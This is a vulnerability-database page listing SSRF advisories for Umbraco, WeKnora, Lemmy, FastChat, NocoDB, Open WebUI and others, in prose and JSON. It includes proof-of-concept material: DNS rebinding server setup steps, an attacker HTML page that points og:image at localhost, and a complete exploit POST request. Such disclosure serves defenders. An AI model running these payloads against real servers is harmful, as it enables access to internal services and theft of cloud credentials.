CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6194 vulnerabilities reference this CWE, most recent first.
GHSA-H66J-XM43-47PP
Vulnerability from github – Published: 2026-01-15 18:31 – Updated: 2026-01-15 22:39Umbraco CMS v8.14.1 contains a server-side request forgery vulnerability that allows attackers to manipulate baseUrl parameters in multiple dashboard and help controller endpoints. Attackers can craft malicious requests to the GetContextHelpForPage, GetRemoteDashboardContent, and GetRemoteDashboardCss endpoints to trigger unauthorized server-side requests to external hosts.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "UmbracoCms"
},
"versions": [
"8.14.1"
]
}
],
"aliases": [
"CVE-2021-47776"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T22:39:22Z",
"nvd_published_at": "2026-01-15T16:16:09Z",
"severity": "MODERATE"
},
"details": "Umbraco CMS v8.14.1 contains a server-side request forgery vulnerability that allows attackers to manipulate baseUrl parameters in multiple dashboard and help controller endpoints. Attackers can craft malicious requests to the GetContextHelpForPage, GetRemoteDashboardContent, and GetRemoteDashboardCss endpoints to trigger unauthorized server-side requests to external hosts.",
"id": "GHSA-h66j-xm43-47pp",
"modified": "2026-01-15T22:39:22Z",
"published": "2026-01-15T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47776"
},
{
"type": "PACKAGE",
"url": "https://github.com/umbraco/Umbraco-CMS"
},
{
"type": "WEB",
"url": "https://our.umbraco.com"
},
{
"type": "WEB",
"url": "https://releases.umbraco.com/all-releases"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50462"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Umbraco CMS contains a server-side request forgery vulnerability"
}
GHSA-H6GW-8F77-MMMP
Vulnerability from github – Published: 2026-03-06 23:56 – Updated: 2026-03-09 13:21Summary
A DNS rebinding vulnerability in the web_fetch tool allows an unauthenticated attacker to bypass URL validation and access internal resources on the server, including private IP addresses (e.g., 127.0.0.1, 192.168.x.x). By crafting a malicious domain that resolves to a public IP during validation and subsequently resolves to a private IP during execution, an attacker can access sensitive local services and potentially exfiltrate data.
Details
The vulnerability exists because the web_fetch tool lacks complete DNS pinning. The application performs URL validation only once via validateParams(), but the URL is then passed unchanged to the fetchHTMLContent() function, which eventually reaches fetchWithChromedp(). The headless browser (Chromedp) resolves the hostname independently without DNS pinning, allowing a time-of-check-time-of-use (TOCTOU) attack.
Validation phase (first DNS resolution):
if err := t.validateParams(p); err != nil {
// Returns error for private IPs
results[index] = &webFetchItemResult{
err: err,
// ...
}
return
}
Execution phase (second DNS resolution): The original URL (not the resolved IP) is passed through the execution chain:
output, data, err := t.executeFetch(ctx, p)
// Calls fetchHTMLContent(ctx, targetURL) where targetURL is the original hostname
Chromedp execution (vulnerable DNS resolution):
func (t *WebFetchTool) fetchWithChromedp(ctx context.Context, targetURL string) (string, error) {
// targetURL is not DNS-pinned; browser resolves it independently
err := chromedp.Run(ctx,
chromedp.Navigate(targetURL), // Third DNS lookup occurs here
chromedp.WaitReady("body", chromedp.ByQuery),
chromedp.OuterHTML("html", &html),
)
}
The attacker controls a domain that can be configured to return different DNS responses to different queries, enabling them to bypass the initial private IP check and access restricted resources during the actual fetch.
PoC
Setup: 1. Deploy the DNS rebinding server (attached Python file) with the following systemd configuration:
```systemd [Unit] Description=DNS Rebinding Test Server After=network.target
[Service] Type=simple User=root WorkingDirectory=/root/Repos/dns-rebinding-server ExecStart=/root/.proto/shims/python -u /root/Repos/dns-rebinding-server/server.py --token aleister1102 --domain aleister.ninja --port 53 --global-tracking --ip1 1.1.1.1 --ip2 0.0.0.0 --first-response-count 1 --reset-time 0 Restart=always RestartSec=3
[Install] WantedBy=multi-user.target ```
This configures the DNS server to:
- Return 1.1.1.1 (a public IP) for the first DNS query
- Return 127.0.0.1 (localhost) for all subsequent queries
- TTL is set to 0 to prevent caching
The sequence can also be reset via reset.domain.com (reset to 1.1.1.1).
Note: We may need to reset the sequence as the TOCTOU attack is not truly reliable and needs to be triggered multiple times.
- Set up a simple HTTP server on the localhost of the backend service:
bash
python -m http.server 8888
- Configure the malicious domain to point to the DNS rebinding server
Execution:
1. Enable web search on an agent.
2. Prompt the agent to fetch content from the attacker-controlled domain (e.g., http://attacker.example.com)
3. The sequence of events:
- First DNS query (validation phase): attacker.example.com → 1.1.1.1 ✓ Passes validation
- Second DNS query (execution phase): attacker.example.com → 127.0.0.1 ✗ Bypass achieved
- The web_fetch tool successfully connects to 127.0.0.1:8080 and returns the local server's content
Result: The attacker gains access to the local HTTP server and can read its content, demonstrating that internal resources are now accessible through the rebinding attack.
PoC video:
https://github.com/user-attachments/assets/68daaa87-4b9b-4b6e-b6f6-ee123f5fcda9
Impact
Vulnerability Type: DNS Rebinding / Server-Side Request Forgery (SSRF)
Who is impacted: - Any user or agent with web search capability can exploit this vulnerability - The vulnerability grants access to internal services, configuration files, metadata services, and other sensitive resources normally restricted to the internal network - In cloud environments, this could allow access to metadata endpoints (e.g., AWS IMDSv1) to obtain credentials and secrets\
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.14"
},
"package": {
"ecosystem": "Go",
"name": "github.com/Tencent/WeKnora"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30858"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T23:56:22Z",
"nvd_published_at": "2026-03-07T17:15:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA DNS rebinding vulnerability in the `web_fetch` tool allows an unauthenticated attacker to bypass URL validation and access internal resources on the server, including private IP addresses (e.g., 127.0.0.1, 192.168.x.x). By crafting a malicious domain that resolves to a public IP during validation and subsequently resolves to a private IP during execution, an attacker can access sensitive local services and potentially exfiltrate data.\n\n### Details\n\nThe vulnerability exists because the `web_fetch` tool lacks complete DNS pinning. The application performs URL validation only once via `validateParams()`, but the URL is then passed unchanged to the `fetchHTMLContent()` function, which eventually reaches `fetchWithChromedp()`. The headless browser (Chromedp) resolves the hostname independently without DNS pinning, allowing a time-of-check-time-of-use (TOCTOU) attack.\n\n**Validation phase (first DNS resolution):**\n```go\nif err := t.validateParams(p); err != nil {\n // Returns error for private IPs\n results[index] = \u0026webFetchItemResult{\n err: err,\n // ...\n }\n return\n}\n```\n\n**Execution phase (second DNS resolution):**\nThe original URL (not the resolved IP) is passed through the execution chain:\n```go\noutput, data, err := t.executeFetch(ctx, p)\n// Calls fetchHTMLContent(ctx, targetURL) where targetURL is the original hostname\n```\n\n**Chromedp execution (vulnerable DNS resolution):**\n```go\nfunc (t *WebFetchTool) fetchWithChromedp(ctx context.Context, targetURL string) (string, error) {\n // targetURL is not DNS-pinned; browser resolves it independently\n err := chromedp.Run(ctx,\n chromedp.Navigate(targetURL), // Third DNS lookup occurs here\n chromedp.WaitReady(\"body\", chromedp.ByQuery),\n chromedp.OuterHTML(\"html\", \u0026html),\n )\n}\n```\n\nThe attacker controls a domain that can be configured to return different DNS responses to different queries, enabling them to bypass the initial private IP check and access restricted resources during the actual fetch.\n\n### PoC\n\n**Setup:**\n1. Deploy the DNS rebinding server (attached Python file) with the following systemd configuration:\n\n```systemd\n[Unit]\nDescription=DNS Rebinding Test Server\nAfter=network.target\n\n[Service]\nType=simple\nUser=root\nWorkingDirectory=/root/Repos/dns-rebinding-server\nExecStart=/root/.proto/shims/python -u /root/Repos/dns-rebinding-server/server.py --token aleister1102 --domain aleister.ninja --port 53 --global-tracking --ip1 1.1.1.1 --ip2 0.0.0.0 --first-response-count 1 --reset-time 0\nRestart=always\nRestartSec=3\n\n[Install]\nWantedBy=multi-user.target\n ```\n \n This configures the DNS server to:\n - Return `1.1.1.1` (a public IP) for the first DNS query\n - Return `127.0.0.1` (localhost) for all subsequent queries\n - TTL is set to 0 to prevent caching\n \n The sequence can also be reset via reset.domain.com (reset to 1.1.1.1).\n \n \u003e Note: We may need to reset the sequence as the TOCTOU attack is not truly reliable and needs to be triggered multiple times.\n\n2. Set up a simple HTTP server on the localhost of the backend service:\n\n ```bash\n python -m http.server 8888\n ```\n\n3. Configure the malicious domain to point to the DNS rebinding server\n\n**Execution:**\n1. Enable web search on an agent.\n2. Prompt the agent to fetch content from the attacker-controlled domain (e.g., `http://attacker.example.com`)\n3. The sequence of events:\n - **First DNS query** (validation phase): `attacker.example.com` \u2192 `1.1.1.1` \u2713 Passes validation\n - **Second DNS query** (execution phase): `attacker.example.com` \u2192 `127.0.0.1` \u2717 Bypass achieved\n - The `web_fetch` tool successfully connects to `127.0.0.1:8080` and returns the local server\u0027s content\n\n**Result:**\nThe attacker gains access to the local HTTP server and can read its content, demonstrating that internal resources are now accessible through the rebinding attack.\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"image\" src=\"https://github.com/user-attachments/assets/897e8494-f39e-49ce-a02a-5832bb84a73f\" /\u003e\n\nPoC video:\n\nhttps://github.com/user-attachments/assets/68daaa87-4b9b-4b6e-b6f6-ee123f5fcda9\n\n### Impact\n**Vulnerability Type:** DNS Rebinding / Server-Side Request Forgery (SSRF)\n\n**Who is impacted:**\n- Any user or agent with web search capability can exploit this vulnerability\n- The vulnerability grants access to internal services, configuration files, metadata services, and other sensitive resources normally restricted to the internal network\n- In cloud environments, this could allow access to metadata endpoints (e.g., AWS IMDSv1) to obtain credentials and secrets\\",
"id": "GHSA-h6gw-8f77-mmmp",
"modified": "2026-03-09T13:21:07Z",
"published": "2026-03-06T23:56:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-h6gw-8f77-mmmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30858"
},
{
"type": "PACKAGE",
"url": "https://github.com/Tencent/WeKnora"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WeKnora has DNS Rebinding Vulnerability in web_fetch Tool that Allows SSRF to Internal Resources"
}
GHSA-H6HF-9846-XWRQ
Vulnerability from github – Published: 2026-04-24 15:21 – Updated: 2026-05-13 13:34Summary
Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction.
As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.
Details
The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, extract_opengraph_data() accepts absolute og:image values and returns them as-is. Later, generate_post_link_metadata() passes that second-hop image URL into generate_pictrs_thumbnail(), which instructs local pict-rs to fetch it through image/download?url=....
This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.
Core vulnerable code path:
// crates/api_common/src/request.rs
let metadata = match &post.url {
Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),
_ => Default::default(),
};
// crates/api_common/src/request.rs
let og_image = page
.opengraph
.images
.first()
.and_then(|ogo| url.join(&ogo.url).ok());
// crates/api_common/src/request.rs
let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {
generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)
} else {
image_url.clone()
};
// crates/api_common/src/request.rs
let fetch_url = format!(
"{}image/download?url={}&resize={}",
pictrs_config.url,
encode(image_url.as_str()),
context.settings().pictrs_config()?.max_thumbnail_size
);
These snippets show that only the outer page URL is checked, while the extracted og:image value becomes a server-side fetch target without an equivalent internal-address guard.
PoC
Prerequisites:
- The attacker has a valid low-privileged account.
- The instance uses the default link preview storage mode.
- The attacker can post a link to a community they can access.
Practical reproduction flow:
- Host a public HTML page under attacker control.
- Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as
http://127.0.0.1:8081/internal.png. - Create a Lemmy post whose
urlis the attacker-controlled page. - Observe Lemmy fetch the public page, extract
og:image, and then fetch the internal image through pict-rs. - Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.
Complete PoC attacker page:
<html><head>
<meta property="og:image" content="http://127.0.0.1:8081/internal.png">
</head><body>x</body></html>
Complete PoC request:
POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json
{
"name": "thumb-ssrf",
"community_id": 1,
"url": "https://attacker.example/og.html",
"body": null,
"alt_text": null,
"honeypot": null,
"nsfw": false,
"language_id": null,
"custom_thumbnail": null
}
Outcome:
- The post creation request succeeds.
- The internal image endpoint receives a request from the Lemmy server.
- The created post is updated with a local
thumbnail_url, indicating that the internal image was fetched and cached.
Impact
This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.
Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "lemmy_api_common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42181"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T15:21:58Z",
"nvd_published_at": "2026-05-08T20:16:31Z",
"severity": "MODERATE"
},
"details": "### Summary\nLemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction.\n\nAs a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.\n\n### Details\nThe metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`.\n\nThis creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.\n\nCore vulnerable code path:\n\n```rust\n// crates/api_common/src/request.rs\nlet metadata = match \u0026post.url {\n Some(url) =\u003e fetch_link_metadata(url, \u0026context, false).await.unwrap_or_default(),\n _ =\u003e Default::default(),\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet og_image = page\n .opengraph\n .images\n .first()\n .and_then(|ogo| url.join(\u0026ogo.url).ok());\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {\n generate_pictrs_thumbnail(\u0026url, \u0026context).await.ok().map(Into::into).or(image_url)\n} else {\n image_url.clone()\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet fetch_url = format!(\n \"{}image/download?url={}\u0026resize={}\",\n pictrs_config.url,\n encode(image_url.as_str()),\n context.settings().pictrs_config()?.max_thumbnail_size\n);\n```\n\nThese snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard.\n\n### PoC\nPrerequisites:\n\n- The attacker has a valid low-privileged account.\n- The instance uses the default link preview storage mode.\n- The attacker can post a link to a community they can access.\n\nPractical reproduction flow:\n\n1. Host a public HTML page under attacker control.\n2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`.\n3. Create a Lemmy post whose `url` is the attacker-controlled page.\n4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs.\n5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.\n\nComplete PoC attacker page:\n\n```html\n\u003chtml\u003e\u003chead\u003e\n\u003cmeta property=\"og:image\" content=\"http://127.0.0.1:8081/internal.png\"\u003e\n\u003c/head\u003e\u003cbody\u003ex\u003c/body\u003e\u003c/html\u003e\n```\n\nComplete PoC request:\n\n```http\nPOST /api/v3/post HTTP/1.1\nHost: victim.example\nAuthorization: Bearer \u003clow-priv-jwt\u003e\nContent-Type: application/json\n\n{\n \"name\": \"thumb-ssrf\",\n \"community_id\": 1,\n \"url\": \"https://attacker.example/og.html\",\n \"body\": null,\n \"alt_text\": null,\n \"honeypot\": null,\n \"nsfw\": false,\n \"language_id\": null,\n \"custom_thumbnail\": null\n}\n```\n\nOutcome:\n\n- The post creation request succeeds.\n- The internal image endpoint receives a request from the Lemmy server.\n- The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached.\n\n### Impact\nThis issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy\u0027s own thumbnail serving path.\n\nBecause the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.",
"id": "GHSA-h6hf-9846-xwrq",
"modified": "2026-05-13T13:34:02Z",
"published": "2026-04-24T15:21:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-h6hf-9846-xwrq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42181"
},
{
"type": "WEB",
"url": "https://github.com/LemmyNet/lemmy/commit/9ffe586dafac1a46acf17edf90e0165e5503b2f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/LemmyNet/lemmy"
},
{
"type": "WEB",
"url": "https://github.com/LemmyNet/lemmy/releases/tag/0.19.18"
},
{
"type": "WEB",
"url": "https://join-lemmy.org/news/2026-04-20_-_Lemmy_Release_v0.19.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image"
}
GHSA-H6PF-C244-8CHR
Vulnerability from github – Published: 2022-05-14 01:32 – Updated: 2022-05-14 01:32The FTP service on D-Link Central WiFiManager CWM-100 1.03 r0098 devices allows remote attackers to conduct a PORT command bounce scan via port 8000, resulting in SSRF.
{
"affected": [],
"aliases": [
"CVE-2018-15516"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-31T19:29:00Z",
"severity": "MODERATE"
},
"details": "The FTP service on D-Link Central WiFiManager CWM-100 1.03 r0098 devices allows remote attackers to conduct a PORT command bounce scan via port 8000, resulting in SSRF.",
"id": "GHSA-h6pf-c244-8chr",
"modified": "2022-05-14T01:32:41Z",
"published": "2022-05-14T01:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15516"
},
{
"type": "WEB",
"url": "https://vimeo.com/299797225"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/150242/D-LINK-Central-WifiManager-CWM-100-1.03-r0098-Man-In-The-Middle.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Nov/27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H6QM-W442-H848
Vulnerability from github – Published: 2024-12-30 12:30 – Updated: 2024-12-30 12:30A Server-Side Request Forgery (SSRF) vulnerability exists in the POST /worker_generate_stream API endpoint of the Controller API Server in lm-sys/fastchat, as of commit e208d5677c6837d590b81cb03847c0b9de100765. This vulnerability allows attackers to exploit the victim controller API server's credentials to perform unauthorized web actions or access unauthorized web resources by combining it with the POST /register_worker endpoint.
{
"affected": [],
"aliases": [
"CVE-2024-10044"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-30T12:15:05Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the POST /worker_generate_stream API endpoint of the Controller API Server in lm-sys/fastchat, as of commit e208d5677c6837d590b81cb03847c0b9de100765. This vulnerability allows attackers to exploit the victim controller API server\u0027s credentials to perform unauthorized web actions or access unauthorized web resources by combining it with the POST /register_worker endpoint.",
"id": "GHSA-h6qm-w442-h848",
"modified": "2024-12-30T12:30:32Z",
"published": "2024-12-30T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10044"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/44633540-377d-4ac4-b3a3-c2d0fa19d0e6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H6VV-PCQ8-7XM4
Vulnerability from github – Published: 2026-06-17 14:08 – Updated: 2026-07-20 21:20Summary
The base-migration endpoint accepted a caller-supplied URL that the migration worker
dereferenced without enforcing protocol or destination, allowing scheme abuse
(file:, ftp:, etc.) and probing of internal HTTP destinations.
Details
The migrate endpoint is restricted to the workspace owner role by ACL. The remaining
gaps were (a) protocol validation — the controller now parses body.migrationUrl as a
URL and rejects anything whose protocol is not http: or https: — and (b) private
destination filtering — the worker already runs through useAgent(targetUrl) from
request-filtering-agent, which blocks RFC 1918, loopback, and link-local at the
socket layer.
Impact
With the workspace owner role, a malformed URL could be used to coerce the migration worker into reading local files or talking to non-HTTP services; combined with the HTTP-only filter, owner-supplied targets could not reach private ranges.
Credit
This issue was reported by Devel Group Security Research Team through @TREXNEGRO. It was independently reported by @Lihfdgjr and [@bugbunny-research (https://github.com/bugbunny-research).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nocodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.301.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53930"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:08:04Z",
"nvd_published_at": "2026-06-23T21:17:01Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe base-migration endpoint accepted a caller-supplied URL that the migration worker\ndereferenced without enforcing protocol or destination, allowing scheme abuse\n(`file:`, `ftp:`, etc.) and probing of internal HTTP destinations.\n\n### Details\nThe `migrate` endpoint is restricted to the workspace owner role by ACL. The remaining\ngaps were (a) protocol validation \u2014 the controller now parses `body.migrationUrl` as a\n`URL` and rejects anything whose protocol is not `http:` or `https:` \u2014 and (b) private\ndestination filtering \u2014 the worker already runs through `useAgent(targetUrl)` from\n`request-filtering-agent`, which blocks RFC 1918, loopback, and link-local at the\nsocket layer.\n\n### Impact\nWith the workspace owner role, a malformed URL could be used to coerce the migration\nworker into reading local files or talking to non-HTTP services; combined with the\nHTTP-only filter, owner-supplied targets could not reach private ranges.\n\n### Credit\nThis issue was reported by Devel Group Security Research Team through [@TREXNEGRO](https://github.com/TREXNEGRO).\nIt was independently reported by [@Lihfdgjr](https://github.com/Lihfdgjr) and [@bugbunny-research (https://github.com/bugbunny-research).",
"id": "GHSA-h6vv-pcq8-7xm4",
"modified": "2026-07-20T21:20:19Z",
"published": "2026-06-17T14:08:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-h6vv-pcq8-7xm4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53930"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocodb/nocodb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NocoDB: Server-Side Request Forgery via Base Migration URL"
}
GHSA-H6X2-583H-X99R
Vulnerability from github – Published: 2026-08-04 20:38 – Updated: 2026-08-04 21:07Summary
Open WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.
Preconditions
- An account on the instance. No admin rights and no non-default configuration.
- Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers.
- One of the affected entry points: URL ingest for retrieval, an
image_urlin a chat completion, image editing, or the OAuth profile-picture fetch. - The OAuth path additionally needs OAuth login configured and a picture claim (
OAUTH_PICTURE_CLAIM, defaultpicture) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needsOAUTH_UPDATE_PICTURE_ON_LOGIN, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.
Impact
The server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.
Exploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.
Fix
Fixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a requests transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.
Root cause
Affected components:
- retrieval web loader (SafeWebBaseLoader)
- retrieval content probe (get_content_from_url)
- chat image fetch (get_image_base64_from_url)
- image edit fetch (load_url_image)
- OAuth profile-picture fetch (_process_picture_url)
The URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.
Credits
- @rezaduty — the rebinding time-of-check/time-of-use bypass and the retrieval loader path.
- @nikchillz — the retrieval content-probe path.
- @dhyabi2 — the chat
image_urlpath, where the internal response is read back through the vision model. - @geo-chen — the image-edit path.
- @bogdancherniy11-sudo — the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.10.2"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54020"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T20:38:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nOpen WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.\n\n## Preconditions\n- An account on the instance. No admin rights and no non-default configuration.\n- Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers.\n- One of the affected entry points: URL ingest for retrieval, an `image_url` in a chat completion, image editing, or the OAuth profile-picture fetch.\n- The OAuth path additionally needs OAuth login configured and a picture claim (`OAUTH_PICTURE_CLAIM`, default `picture`) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs `OAUTH_UPDATE_PICTURE_ON_LOGIN`, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.\n\n## Impact\nThe server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.\n\nExploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.\n\n## Fix\nFixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a `requests` transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same 